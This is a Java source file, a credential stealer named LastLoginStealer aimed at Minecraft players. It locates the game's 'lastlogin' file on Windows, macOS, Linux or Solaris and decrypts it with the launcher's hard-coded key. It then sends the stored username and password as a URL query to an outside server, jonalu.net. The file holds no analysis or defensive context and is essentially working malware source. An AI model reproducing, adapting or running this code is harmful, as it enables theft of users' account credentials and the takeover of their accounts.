import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.net.URL;
import java.util.Random;

import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;


public class LastLoginStealer {
    private static Cipher getCipher(int mode, String password) throws Exception {
        Random random = new Random(43287234L);
        byte[] salt = new byte[8];
        random.nextBytes(salt);
        PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);

        SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec(password.toCharArray()));
        Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
        cipher.init(mode, pbeKey, pbeParamSpec);
        return cipher;
      }
    public static void stealLastLogin() {
        readUsername();
    }
    private static void readUsername() {
        try {
          File lastLogin = new File(getWorkingDirectory(), "lastlogin");

          Cipher cipher = getCipher(2, "passwordfile");
          DataInputStream dis;
          if (cipher != null)
            dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher));
          else {
            dis = new DataInputStream(new FileInputStream(lastLogin));
          }
          String username = dis.readUTF();
          String password = dis.readUTF();
          String combi = username+":"+password;
          (new URL("http://jonalu.net/test.php?send="+combi)).openStream();
          dis.close();
        } catch (Exception e) {
          e.printStackTrace();
        }
      }
    private static File workDir = null;

      public static File getWorkingDirectory() {
        if (workDir == null) workDir = getWorkingDirectory("minecraft");
        return workDir;
      }
    public static File getWorkingDirectory(String applicationName) {
        String userHome = System.getProperty("user.home", ".");
        File workingDirectory;
        switch (getPlatform()) {
        case 1:
        case 2:
          workingDirectory = new File(userHome, '.' + applicationName + '/');
          break;
        case 3:
          String applicationData = System.getenv("APPDATA");
          if (applicationData != null) workingDirectory = new File(applicationData, "." + applicationName + '/'); else
            workingDirectory = new File(userHome, '.' + applicationName + '/');
          break;
        case 4:
          workingDirectory = new File(userHome, "Library/Application Support/" + applicationName);
          break;
        default:
          workingDirectory = new File(userHome, applicationName + '/');
        }
        if ((!workingDirectory.exists()) && (!workingDirectory.mkdirs())) throw new RuntimeException("The working directory could not be created: " + workingDirectory);
        return workingDirectory;
      }

      private static int getPlatform() {
        String osName = System.getProperty("os.name").toLowerCase();
        if (osName.contains("win")) return 3;
        if (osName.contains("mac")) return 4;
        if (osName.contains("solaris")) return 1;
        if (osName.contains("sunos")) return 1;
        if (osName.contains("linux")) return 2;
        if (osName.contains("unix")) return 2;
        return 0;
      }
}